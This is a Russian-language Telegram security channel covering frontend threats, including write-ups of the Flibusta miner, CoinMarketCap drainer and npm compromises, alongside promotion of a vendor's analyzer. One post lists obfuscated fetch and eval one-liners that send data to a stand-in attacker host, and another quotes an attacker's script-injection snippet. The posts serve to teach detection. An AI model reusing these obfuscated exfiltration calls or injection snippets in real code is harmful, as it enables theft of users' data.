FrontSecOps
758 subscribers
52 photos
7 videos
1 file
41 links
Безопасность и безопасная разработка frontend-приложений. Актуальные риски и методы защиты современных js-приложений.

По всем вопросам @mkparfenov
Download Telegram
Media is too big
VIEW IN TELEGRAM
Запись доклада "Взгляд в темноту. Безопасность frontend-приложений от модели угроз до secure by design" с PHDays Fest 3. Презентация доступна здесь.

00:00 Вступление

Часть 1
01:24 Frontend - всегда в "слепой" зоне
03:10 Выгода злоумышленника от внедрения вредоносного кода в frontend-приложения
04:49 Вектора проникновения вредоносного кода в приложение
06:01 Обзор крупнейших инцидентов
09:53 Frontend - идеальный способ монетизации для злоумышленников, в т.ч. инсайдеров

Часть 2
10:30 Исследование безопасности российских frontend-приложений
11:32 Основные показатели
13:43 Наиболее интересные результаты по отраслям
14:22 Количество хостов, на которые frontend отправляет данные
14:37 Эффективность использования Content Security Policy (CSP)
17:00 Google Tag Manager - frontend-бэкдор, угрожающий данным наших пользователей
18:27 CMS Битрикс отправляет персональные данных ваших клиентов в Ирландию - риск штрафов РКН за трансграничную передачу ПД без согласия пользователей 🆘
20:20 Яндекс Метрика Вебвизор - может стать легитимным каналом утечки ПД из личных кабинетов в руках злоумышленника
21:28 Общий показатель безопасности

Часть 3
23:18 Моделирование угроз для frontend-приложений
24:10 Существующие каталоги угроз приводят к игнорированию frontend-безопасности
25:09 Фреймворк моделирования frontend-угроз DPA Analytics
27:40 Митигация рисков через Observability

Часть 4
29:20 Анализ поведения frontend-приложения в DevSecOps - путь к Secure by Design
29:32 OWASP: SAST, DAST, IAST имеют низкую достоверность при анализе frontend-приложения
30:02 FAST-анализатор - инструмент для достоверного анализа безопасности и оперативного реагирования без ложных срабатываний

Часть 5
31:46 Что делать? Как сделать frontend безопасным?

33:15 Ссылки
33:19 Telegram-канал @FrontSecOps : в июне опубликую бесплатный онлайн-сервис для моделирования frontend-угроз и полный отчет об исследовании безопасности российских frontend-приложений

📹 Запись на YT
@FrontSecOps
Please open Telegram to view this post
VIEW IN TELEGRAM
⚠️ CMS Битрикс отправляла данные ваших клиентов в Ирландию 🇮🇪

В мае мы провели исследование безопасности российских frontend-приложений. Были проверены приложения более 3000 крупнейших коммерческих компаний. Краткие результаты исследования я представил в своем докладе на PHDays 2025.

Было обнаружено, что:
🔹 64 % приложений загружают скрипты с хостов за пределами РФ.
🔹 71 % приложений отправляют сетевые запросы на зарубежные хосты.

После анализа наиболее часто встречающихся зарубежных хостов мы увидели хост bitrix.info, указывающий на сервер в подсети Amazon в Ирландии 🇮🇪

Изучаем подробнее. Действительно все эти приложения построены на CMS 1С-Битрикс. В коде веб-страниц размещен инлайн-скрипт 📱 , который загружает другой внешний скрипт, размещенный по адресу: https://bitrix.info/ba.js . Этот скрипт собирает данные о поведении пользователя, фрагменты веб-страниц (например, заголовки) и другие данные и отправляет на https://bitrix.info/bx_stat

Являются ли данные, собираемые системами веб-аналитики, персональными? 🪪

Можно долго спорить на эту тему, но предлагаю смотреть с т.з. рисков, а именно рисков проверок/штрафов регуляторов. 💰 В марте 2025 года Роскомнадзор направлял российским коммерческим компаниям требования об удалении с сайтов Google Analytics, т.к. «использование метрической программы Google Analytics может указывать на сбор ПД с использованием БД, находящихся за пределами РФ», а также тем, что с 2023 года трансграничная передача ПД без уведомления РКН запрещена ⚠️

Поэтому на мой взгляд данные, собираемые любой системой аналитики, следует считать персональными. Следовательно CMS Битрикс отправляет персональные данные пользователей/клиентов в Ирландию 🇮🇪

Сколько компаний в зоне риска?

По результатам исследования скрипт Битрикс Аналитики обнаружен в 21 % web-приложений, это более 650 крупнейших российских компаний.

Мы развернули актуальную версию 1С-Битрикс: Управление сайтом (версия 25.100.400). В документации на CMS отсутствует упоминание внешнего скрипта аналитики, размещенного в Ирландии. Скрипт внедряется по дефолту во все редакции CMS (вспоминаем про принцип Privacy by Default). В админ-панели нет опции для отключения внедрения скрипта. (см. как отключить)

Заключение

🔹 С точки зрения ИБ подобное поведение приложения - это «недекларированные возможности» (НДВ).
🔹 Трансграничная передача ПД без уведомления РКН запрещена, данная функциональность CMS повышает риск получения штрафов для компаний.
🔹 Вендоры ПО должны анализировать поведение своих frontend-приложений, чтобы не подвергать риску своих заказчиков/клиентов (утечки в frontend-приложениях не обнаруживаются WAF, NGWF и другими средствами защиты и анализаторами SAST, DAST, SCA/OSA, т.к. происходят в «слепой» зоне - прямо в браузере пользователя).
🔹 ИБ/AppSec-специалисты должны анализировать поведение frontend-приложений, чтобы обнаруживать и реагировать на подобное для снижения рисков утечки данных и атак на пользователей.

UPDATE 18.06.2025

Со мной связались коллеги из Битрикс, данная функция будет удалена в ближайших обновлениях CMS. Несколько дней назад (около 07.06.2025) сервис был перенесен на территорию РФ. В данный момент по адресу https://bitrix.info/ba.js отдается пустой скрипт, т.е. сбор данных не осуществляется. Спасибо коллегам из Битрикс за оперативное реагирование 👍🏽

P.S. Судя по истории изменения DNS записей, сервис размещался в Ирландии с 2014 года.

Даже при защищенном бэкенде Ваших web-приложений данные могут годами утекать прямо в браузере пользователя🖥, если регулярно не анализировать поведение frontend-приложений.

Спасибо команде DPA Analytics за проведенное исследование. Только по итогам данного кейса мы снизили риски получения санкций/штрафов регуляторов за трансграничную передачу данных для сотен российских компаний.

Если хотите увидеть, куда текут данных из Ваших frontend-приложений, и узнавать о вредоносных действиях скриптов сразу 🆘 (а не через несколько лет), Вы можете использовать FAST-анализатор от DPA Analytics.

Полная версия статьи - на Хабре

@FrontSecOps
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Всем привет!

Завтра (в пятницу, 27.06.2025) в 11:00 (МСК) принимаю участие в эфире AM Live. С коллегами будем говорить про безопасную разработку: культуру, регуляторику, моделирование угроз, технологии и инструменты: SAST, SCA, FAST, DAST, API Sec и т.д.

Трансляция бесплатная и будет доступна после регистрации

В понедельник (30.06) опубликую онлайн-сервис для моделирования угроз для frontend-приложений, о котором рассказывал на PHDays.
Please open Telegram to view this post
VIEW IN TELEGRAM
Мы опубликовали сервис для моделирования угроз для frontend-приложений!

В основе - методология, о которой рассказывал в докладе на PHDays 2025. Для каждой угрозы указаны компенсирующие меры с оценкой эффективности. Также автоматически генерируется план обработки рисков (остаточных рисков).

Значительную часть угроз нейтрализует использование FAST-анализатора в SSDLC/DevSecOps. Не потому что мы его делаем 😀, а т.к. только использование frontend-песочницы для анализа поведения приложения при автоматизированном выполнении основных Use Case взаимодействий пользователя с приложением 🖥 может обнаружить вредоносное поведение js-кода 🦠, в том числе во внешних сервисах 📱:
1️⃣ до релиза;
2️⃣ сразу после релиза;
3️⃣ через длительное время после релиза.

Сервис и каталог угроз будет развиваться и дорабатываться. В ближайшее время сделаем визуализацию векторов/способов реализации/последствий (по принципу MITRE ATT&CK Matrix) 🔗

Вопросы/предложения можно направлять на [email protected]
@FrontSecOps
Please open Telegram to view this post
VIEW IN TELEGRAM
👏1
Исследователи безопасности из компании Secure Annex обратили внимание на рост популярности нового метода монетизации браузерных дополнений, при котором из пользователей дополнений формируется распределённая сеть, применяемая для скрапинга (индексации содержимого сайтов). Системы пользователей используют в качестве web-ботов и прокси для скачивания содержимого сайтов - установленное браузерное дополнение получает с внешнего сервера инструкции по индексации сайтов, после чего в отдельном скрытом iframe запускает загрузку запрошенного контента и передаёт полученные данные внешнему сервису. В каталогах Chrome, Firefox и Edge применение данной схемы монетизации выявлено в 245 дополнениях, в сумме насчитывающих 909 тысяч установок.

Работа организуется через включение в код браузерных дополнений открытой JavaScript-библиотеки mellowtel.js, поставляемой под лицензией LGPLv3. Библиотека развивается проектом Mellowtel, продвигающим новую платформу монетизации, которая кроме браузерных дополнений может применяться в программах на базе фреймворков Flutter и Electron. Основная идея платформы в том, что разработчики браузерных дополнений и приложений могут зарабатывать деньги не через показ рекламы или сомнительные методы, такие как продажа данных, ущемляющих приватность пользователей, а через выполнение задач по индексации web-контента для обучения AI-систем.

Проблема в том, что не все разработчики дополнений готовы работать честно и в открытую. В некоторых дополнениях пытаются скрыто от пользователя включить монетизацию Mellowtel в обход правил сервиса, что приводит к тому, что пользователь без явного согласия становится участником распределённой сети для загрузки данных с сайтов. Из 45 дополнений к Chrome, применяющих Mellowtel, 12 уже заблокированы Google за вредоносную активность. В каталоге Microsoft из 129 дополнений заблокировано 8, а в каталоге Mozilla из 71 дополнения заблокировано 2. Причины удаления не детализируются, но не исключается, что поводом стало некорректное использование Mellowtel.

Разработчик Mellowtel заявил, что для решения проблемы с возможным скрытым включением скрапинга сервис переходит на обязательную проверку всех дополнений, применяющих Mellowtel, на предмет обязательного отключения скрапинга по умолчанию (активация только после явного согласия пользователя) и наличия видимой кнопки для отключения. Запросы на получение заданий от дополнений не прошедших проверку будут помещаться в карантин и игнорироваться.

Браузерные дополнения вовлекают в построение распределённой сети скрапинга для AI-ботов
https://www.opennet.ru/opennews/art.shtml?num=63568

Оригинал
Mellow Drama: Turning Browsers Into Request Brokers
https://secureannex.com/blog/mellow-drama/
👍1
Media is too big
VIEW IN TELEGRAM
FAST-анализатор: обнаружение вредоносного поведения js-кода на примере реального инцидента

Специалисты компании F6 c помощью XDR обнаружили заражение майнером криптовалюты рабочей станции их заказчика. В результате расследования выяснилось, что zip-архив с майнером скачивался пользователем на сети сайтов онлайн-библиотеки Flibusta 📚. Скорее всего, сайты были взломаны, а для монетизации злоумышленники добавили вредоносный js-скрипт 📱

В видео показал, как FAST-анализатор обнаруживает вредоносные действия js-кода на примере реального скрипта злоумышленников.

Что делал скрипт?

🔹Похищал логин, пароль и cookie при выполнении аутентификации (классический js-сниффер).
🔹Динамически загружал в браузер необходимые злоумышленнику модули с CDN.
🔹Использовал сборку Python и MicroPip в виде WebAssembly для выполнения части вредоносных действий из js-кода.
🔹Записывал различные флаги в localStorage, indexedDB, маскируясь под GoogleAds.
🔹Проверял, что пользователь зашел с устройства Desktop.
🔹Вместо архива с книгой загружал архив с вредоносным исполняемым файлом (exe + dll), устанавливающим майнер в систему.

Посещаемость данных сайтов - около 10 млн человек в месяц, из них с Desktop - 1 млн.

Вредоносный скрипт был доступен с февраля 2025. На сайт был внедрен ориентировочно в марте 2025. Т.е. за 3 месяца присутствия архив с майнером мог быть загружен на 3 млн устройств.

Обратите внимание, что майнер был обнаружен с помощью XDR уже после заражения рабочей станции. Frontend-фишинг позволяет проникать даже в корпоративные сети ⚠️. А если вредоносный js-код будет доставлен в приложение через npm-зависимость ✈️, то возможно заразить устройства даже в корп. сетях без интернета. Вместо майнера мог быть шифровальщик 🤒 или другое вредоносное ПО.

По фреймворку моделирования угроз DPA Analytics:
🔹Вектор: T-3: Компрометация сервера приложения
🔹Способ реализации: T-29: Загрузка вредоносного файла; T-26: Кража учетных данных; T-41: Несанкционированный вызов WebAssembly, eval(); T-45: Выполнение действий при клике по кнопке и другие

Любой вредоносный js-код приводит к появлению значительного "шума" 🆘 в профиле поведения приложения. Мы записали видео, как FAST-анализатор без ложных срабатываний по множеству аномалий обнаружил вредоносные действия на примере реального скрипта из данного инцидента.

Смотрите видео в этом посте или на любых площадках:
📹 YT 📺 VK 📺 RT

@FrontSecOps
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1
This media is not supported in your browser
VIEW IN TELEGRAM
CoinMarketCap: вредоносный код на фронтенде украл у пользователей 43 000$ за 1 день

Даже если вы не можете сказать про себя "я работаю в криптовалюте" 💸, наверняка вы знаете сервис CoinMarketCap (coinmarketcap.com).

20 июня 2025 (пятница) 20:57 GMT, конец рабочей недели, на главной странице CoinMarketCap стало появляться всплывающее окно , призывающее пользователей «верифицировать свои кошельки», чтобы «сохранить полный доступ» к платформе. Если пользователь соглашался и нажимал нужные кнопки, начинал работать дрейнер 🦠, производилось похищение криптовалюты.

Вредоносный код пришел через "дудл"

Дудл (тематическая картинка рядом с логотипом, приуроченная к различным событиям/праздникам 📆) загружался динамически через запрос к внутреннему API https://api[.]coinmarketcap[.]com/content/v3/doodle/get?type=5.

В какой-то момент API стало возвращать JSON со ссылкой на вредоносный скрипт 📱 на внешнем CDN ("lightModeFile": "https://static[.]cdnkit[.]io/cmc/6855a83d80876056dab0a5cf[.]json", который в свою очередь динамически добавлял на страницу еще один скрипт злоумышленника:
// Inject the malicious popup script
const script = document.createElement('script');
script.src = 'https://static[.]cdnkit[.]io/cmc/popup[.]js';
document.head.appendChild(script);

Этот скрипт показывал то самое всплывающее окно в стиле дизайна CoinMarketCap (frontend-фишинг 🤒). В процессе выполнения вредоносных действий также загружались дополнительные js-библиотеки с хоста blockassets[.]app.

Вектор атаки

Так как ссылка на инициирующий вредоносный скрипт возвращалась в ответе внутренней API функции, наиболее вероятно, что бэкенд был скомпрометирован 🤒 или вредонос был добавлен инсайдером 🪪 (сотрудники/подрядчики). CoinMarketCap признали факт инцидента, назвав его "уязвимостью, приводившей к непредвиденному всплывающему окну" 🙃, без раскрытия подробностей и заявили, что "теперь все безопасно и надежно".

Время присутствия: 1 день.
Похищенные средства у пользователей: > 43 000 💵

DPA Frontend Threat Modeling Framework:
🔹Вектор: T-3: Компрометация сервера приложения / T-21: Сотрудник умышленно разместил вредоносный js-код
🔹Способ реализации: T-43: Показ фишинговых форм привязки криптокошелька, T-45: Выполнение действий при клике по кнопке и другие, T-47: Вредоносный код выполняется только при определенных условиях/триггерах

@FrontSecOps
Please open Telegram to view this post
VIEW IN TELEGRAM
👏1
Очередная frontend-катастрофа в npm 💣

Вредоносный js-код добавлен в 18+ npm-зависимостей для frontend-приложений. Суммарно эти зависимости имеют более 2 миллиардов загрузок в неделю.
backslash (0.26m downloads per week)
chalk-template (3.9m downloads per week)
supports-hyperlinks (19.2m downloads per week)
has-ansi (12.1m downloads per week)
simple-swizzle (26.26m downloads per week)
color-string (27.48m downloads per week)
error-ex (47.17m downloads per week)
color-name (191.71m downloads per week)
is-arrayish (73.8m downloads per week)
slice-ansi (59.8m downloads per week)
color-convert (193.5m downloads per week)
wrap-ansi (197.99m downloads per week)
ansi-regex (243.64m downloads per week)
supports-color (287.1m downloads per week)
strip-ansi (261.17m downloads per week)
chalk (299.99m downloads per week)
debug (357.6m downloads per week)
ansi-styles (371.41m downloads per week)

Атака типичная: фишинговое письмо 🤒 разработчику "от имени npm", кража токена, публикация вредоносной версии библиотеки от имени разработчика (также как в инцидентах solana/web3.js , lottie-player).

Код злоумышленников переопределял функции для отправки сетевых запросов fetch, XMLHttpRequest, и API кошельков (window.ethereum, Solana и др.), анализировал запросы/ответы и на лету подменял получателя в криптовалютных транзакциях.

Цель злоумышленников - frontend-приложения с функциями перевода криптовалюты 💸. В других приложениях непосредственно деструктивные действия не выполняются (хотя иногда злоумышленники кроме целевых, добавляют всенаправленные вредоносные нагрузки, например js-сниффер отправленных форм в инциденте Flibusta).

⚠️ Не всегда подобные инциденты освещаются во всех новостях как в этот раз. И в фидах SCA-вендоров тоже может не быть такой информации в следующих случаях.

1️⃣ Непопулярные библиотеки и форки
2️⃣ Разработчик сам добавляет вредоносный код в библиотеку (polyfill.js, colors и faker)
3️⃣ Мейнтейнеры не заметили, что вредоносный код был добавлен одним из них
4️⃣ Вредоносную библиотеку использует внешний js-сервис, который используется в нашем приложении
5️⃣ Ситуация может осложняться запуском вредоносного кода по условию, например по дате, допустим через 6 месяцев , чтобы скомпрометированная версия распространилась по большинству "живых" frontend-приложений по всему миру 🌍

В этих случаях вредоносный js-код может месяцами 📆 присутствовать в наших frontend-приложениях, если мы не анализируем поведение приложения до релиза и регулярно после релиза в продуктиве.

@FrontSecOps
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
1👍1
Фреймворк моделирования угроз для frontend-приложений

В классическом понимании "взламывать/атаковать" frontend-приложение (белый ящик 🥡, выполняющийся в неконтролируемой зоне - браузере пользователя 🖥) не имеет смысла. На безопасность frontend-приложений следует смотреть с точки зрения "Что будет, если злоумышленник сможет внедрить свой код 🦠 к нам в приложение?"

А способов внедрить код (векторов) множество, и XSS - только один из них, причем далеко не самый критичный. Способов монетизации - десятки, поэтому мы регулярно видим крупные инциденты в frontend-приложениях 💰

Существующие подходы и каталоги угроз слабо применимы для frontend-приложений. Это приводит к непониманию векторов проникновения вредоносного кода в приложения, способов его монетизации и последствий для бизнеса 😣

DPA Analytics опубликовали фреймворк моделирования угроз для frontend-приложений. О самом фреймворке я рассказывал в докладе на PHDays 2025. Мы визуализировали его в виде Frontend Kill Chain (по принципу MITRE ATT&CK Matrix и Lockheed Martin's Cyber Kill Chain).

Скачать визуализацию можно здесь:
📄 DPA Frontend Threat Modeling Framework v1.0.0.pdf

Построить модель угроз по фреймворку для своего приложения можно в бесплатном онлайн сервисе:
☺️ Онлайн-сервис для моделирования угроз

Важно! ⚠️ Полностью защититься от всех векторов на этапе разработки/тестирования невозможно. Поэтому контролировать безопасность frontend-приложения (с помощью анализа поведения) необходимо как до релиза, так и регулярно после релиза в продакшене.

@FrontSecOps
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥13👍5
Результаты исследования безопасности российских frontend-приложений

Мы опубликовали исследование безопасности российских frontend-приложений 🖥 за 1 полугодие 2025 года.

Были проверены приложения более 3000 крупнейших коммерческих российских компаний. С учетом актуальных угроз, известных инцидентов и повышения штрафов за невыполнение 152-ФЗ текущая оценка является неудовлетворительной

⚠️ 64 % загружают скрипты с хостов за пределами РФ
⚠️ 71 % отправляют сетевые запросы на зарубежные хосты
⚠️ 7/100 эффективность конфигурации Content Security Policy (CSP)
⚠️ 50 % вызывают высокорисковые API браузера, что может быть признаком наличия в приложении вредоносного кода 🦠
⚠️ > 70% компаний рискуют получить штрафы от 1 до 18 млн. руб. 💸 за сбор ПД 🪪 с использованием баз данных, размещенных за пределами РФ

Средняя оценка безопасности по всем отраслям: 39 из 100

Средняя оценка в категории онлайн-банков - 77 из 100 ⚠️; лучше чем по другим отраслям, но с учетом критичности данных приложений, этого явно не достаточно.

Полный отчет об исследовании доступен по ссылке:
📄 dpa-frontend-security-research-half-year-2025.pdf

@FrontSecOps
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥17👍3😨2
Всем привет! Мои ближайшие доклады:

🔸Frontend Conf
21.10 (вторник) 18:00 (МСК), зал "Кинетика", 1 этаж, оффлайн
"JS-снифферы приходят к нам через NPM. Как обнаружить вредоносные действия до релиза?"

🔸CyberCamp
23.10 (четверг) 11:00 (МСК), онлайн
"Моделирование угроз для frontend-приложения: делаем каждый релиз Secure By Design"

🔸SOC FORUM
20.11 (четверг) 12:00 (МСК), онлайн и оффлайн
"JS-снифферы приходят в наши приложения с NPM-зависимостями. Как использовать браузер-песочницу для обнаружения вредоносных действий до релиза?"
👍42
Вебинар по FAST-анализатору 12 ноября в 11:00 МСК

12 ноября в 11:00 МСК проведу бесплатный вебинар, где обсудим, почему в реальных инцидентах вредоносный код (js-скрипты) присутствует на веб-страницах месяцами и успешно похищает данные прямо в браузере пользователя.

На вебинаре обсудим:

🔸Актуальные угрозы: как и зачем внедряют вредоносный код в frontend-приложения и веб-страницы?

🔸Почему браузер пользователя - "слепая" зона для ИБ и идеальная точка монетизации для злоумышленника?

🔸Почему SAST, DAST, SCA, WAF, NGFW не выявляют такие угрозы и примеры реальных инцидентов?

🔸Подход Frontend Application Security Testing (FAST) и первый российский FAST-анализатор.

🔸Демо: как DPA FAST Analyzer обнаруживает вредоносное поведение js-кода и устраняет "слепую" зону.

🔸Как встроить проверки на всех этапах SSDLC/DevSecOps/РБПО и прийти к Secure by Design?

Можно будет задать вопросы и получить практические рекомендации по безопасности frontend-приложений.

Зарегистрируйтесь, чтобы получить ссылку на вебинар и запись после него

Дата: 12 ноября (среда)
Время: 11:00 МСК
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥61
Может ли SAST обнаружить вредоносный код?

Часто встречаю мнение, что применение статического анализа кода (SAST) является достаточной проверкой на наличие вредоносного кода 🦠 в frontend-приложении, в том числе в зависимостях. Давайте посмотрим, почему это не так.

1️⃣ Задача SAST - поиск в коде неких антипаттернов (уязвимостей): отсутствие санитизации ввода/вывода и прочее.

2️⃣ В случае с frontend-приложениями вредоносные действия не отличаются от бизнес логики. Например, js-сниффер получает данные из формы и отправляет запрос к API (на хост злоумышленника), чтобы украсть данные 🪪. Это ничем не отличается от легитимного обработчика формы (кроме хоста получателя запроса).

3️⃣ "Из коробки" SAST не содержит правил, которые показывают все отправки данных в js-коде 🔍

4️⃣ Попробует написать правило сами? Например, найдем все вызовы функции fetch() и будем проверять, что там нет "плохих" URL. Кто использует такие правила?

5️⃣ В JavaScript есть различные трюки для вызова функций без указания их имени, вот примеры вызова той же функции fetch(). Вставьте в консоль браузера для проверки. Сможем написать правило, которое обнаружит все эти вызовы?

fetch('https://attacker.dspdemo.ru/leak?d=secret_data_1');
window['fet' + 'ch']('https://attacker.dspdemo.ru/leak?d=secret_data_2');
this['\x66' + 'et' + 'ch']('https://attacker.dspdemo.ru/leak?d=secret_data_3');
this['\x66' + String.fromCharCode(new Date().getFullYear() - 1900 - 24) + 't' + 'ch']('https://attacker.dspdemo.ru/leak?d=secret_data_4');
globalThis['fetch']('https://attacker.dspdemo.ru/leak?d=secret_data_5');
Reflect.get(window, 'fetch')('https://attacker.dspdemo.ru/leak?d=secret_data_6');


6️⃣ В JavaScript есть 26+ способов отправки сетевых запросов: fetch, xhr, websocket, eventsource (connect), navigation, create element (img, iframe), css и другие. Все эти функции можно вызывать как в предыдущем пункте.

7️⃣ Т.к. код вредоносный, злоумышленник будет использовать техники скрытия вызовов 🤒, а векторов попадания вредоносного кода в приложение множество.

8️⃣ SAST не выполняет код, поэтому не видит, что внутри eval('code') (функция динамической интерпретации кода из строки). eval() тоже можно вызвать так, что SAST не найдет.

eval("fetch('https://attacker.dspdemo.ru/leak?d=secret_data_7')");
await (new Function('u', 'return fetch(u)'))('https://attacker.dspdemo.ru/leak?d=secret_data_8');
setTimeout(`(globalThis['f' + String.fromCharCode(101) + 't' + String.fromCharCode(99) + 'h'])('https://attacker.dspdemo.ru/leak?d=secret_data_9')`, 1000);


9️⃣ Даже, если мы напишем правила, которые "достоверно" обнаружат в коде все отправки сетевых запросов, мы получим десятки тысяч ложных срабатываний 🌡 (т.к. createElement - основа любого frontend-приложения).

1️⃣0️⃣ Про зависимости, кто-то анализировал SAST-ом папку node_modules? Было полезно? 😁

Таким образом, применение SAST вообще не гарантирует, что в коде frontend-приложения нет js-снифферов, майнеров, показа фишинговых баннеров и других угроз. Да и поиск вредоносного кода никогда не являлся задачей SAST-анализаторов (из коробки). Анализ поведения кода - задача FAST-анализатора, где сетевые запросы обнаруживаются на уровне ядра браузера, где представление кода не имеет значения.

Завтра (12.11.2025) в 11:00 МСК на вебинаре обсудим почему SAST, DAST, SCA, WAF не снижают риски для frontend-приложений, в реальных инцидентах вредоносный код месяцами крадет данные пользователей в браузере и покажу ДЕМО FAST-анализатора ☺️

Регистрация на вебинар

@FrontSecOps
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥5
Media is too big
VIEW IN TELEGRAM
Запись вебинара FAST: Безопасность frontend-приложений от модели угроз до продакшена в SSDLC/DevSecOps и демонстрация DPA FAST Analyzer ☺️

Часть 1. Безопасность frontend-приложений

00:00 Вступление
01:00 Бэкенд и фронтенд, уязвимости или вредоносный код, что важнее?
05:54 Зачем злоумышленникам внедрять вредоносный код в наши приложения? 💰
09:07 Вектора попадания вредоносного кода
11:25 Фреймворк моделирования угроз Frontend Kill Chain
12:46 Компоненты приложения
13:20 Размер код и npm-зависимости
15:06 Минификация и обфускация 📱
15:32 Обзор инцидентов
22:03 Как через фронтенд заражают корп. сети без доступа в интернет?
23:26 Российские приложения готовы к этим угрозам? Результаты исследования
27:43 Резюме по безопасности frontend-приложений
28:48 Почему SAST, SCA, DAST не обнаруживают актуальные угрозы?
33:20 Концепция Frontend Application Security Testing (FAST)
35:12 Как работает FAST-анализатор?

Часть 2. Демо FAST-анализатора

41:14 Демо приложение на React
42:01 Запуск сканирования в FAST-анализаторе DPA FAST Analyzer 🔎
42:32 Как записать сценарий сканирования в Chrome DevTools Recorder 📱
44:18 Результаты первого скана и создание разрешающего профиля поведения
47:33 Добавляем вредоносный код 🦠
49:09 Что делает этот вредоносный код?
50:30 Вредоносное поведение обнаружено по нескольким аномалиям 🆘
53:12 Интерфейс инвентаризации скриптов

Часть 3. FAST в DevSecOps

53:52 FAST в DevSecOps
54:38 Эффект от внедрения FAST-анализатора 🛡
55:55 Требования регуляторов
56:58 Полезные ссылки

58:18 Как запросить пилот FAST-анализатора
58:35 Как сканировать FAST-ом без сценариев. Демо "ручного" сканирования 🖥
01:00:37 Оценка безопасности приложений в FAST-анализаторе

01:01:05 Ответы на вопросы

Смотрите запись вебинара в этом посте или на любых площадках:
📹 YT 📺 VK 📺 RT

@FrontSecOps
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11
Седьмой zeroday в Chrome за 2025 год

CVE-2025-13223 - уязвимость в V8 - открытие в браузере специально сформированной HTML-страницы приводит к выполнению произвольного кода на устройстве пользователя. Далее - шифровальщик, RAT и т.д. Если пользователь находится в корпоративной сети, это может привести к уничтожению всех данных компании, что мы уже видели в нескольких крупных инцидентах в этом году 💥

Эксплойт уже существует и используется злоумышленниками в реальных атаках 💣

Конечно, "плохие парни" могут создавать вредоносные страницы и "заманивать" туда пользователей через фишинг, но гораздо привлекательнее для злоумышленников - внедрить вредоносный код в frontend-приложения с целевой/большой посещаемостью.

Зависимости frontend-приложения - идеальный вектор для проникновения вредоносного кода в frontend-приложения, даже в приложения, доступные только внутри корпоративной сети (HRM, CRM и т.п.). В корпоративных сетях без интернета браузеры могут отставать от актуальной версии на несколько месяцев/лет 📆 (видел такое неоднократно).

Для снижения риска необходимо обновить Chrome 📱 до актуальной версии (142.0.7444.175) и регулярно проверять frontend-приложения FAST-анализатором ☺️

@FrontSecOps
Please open Telegram to view this post
VIEW IN TELEGRAM
👍4🔥2👾2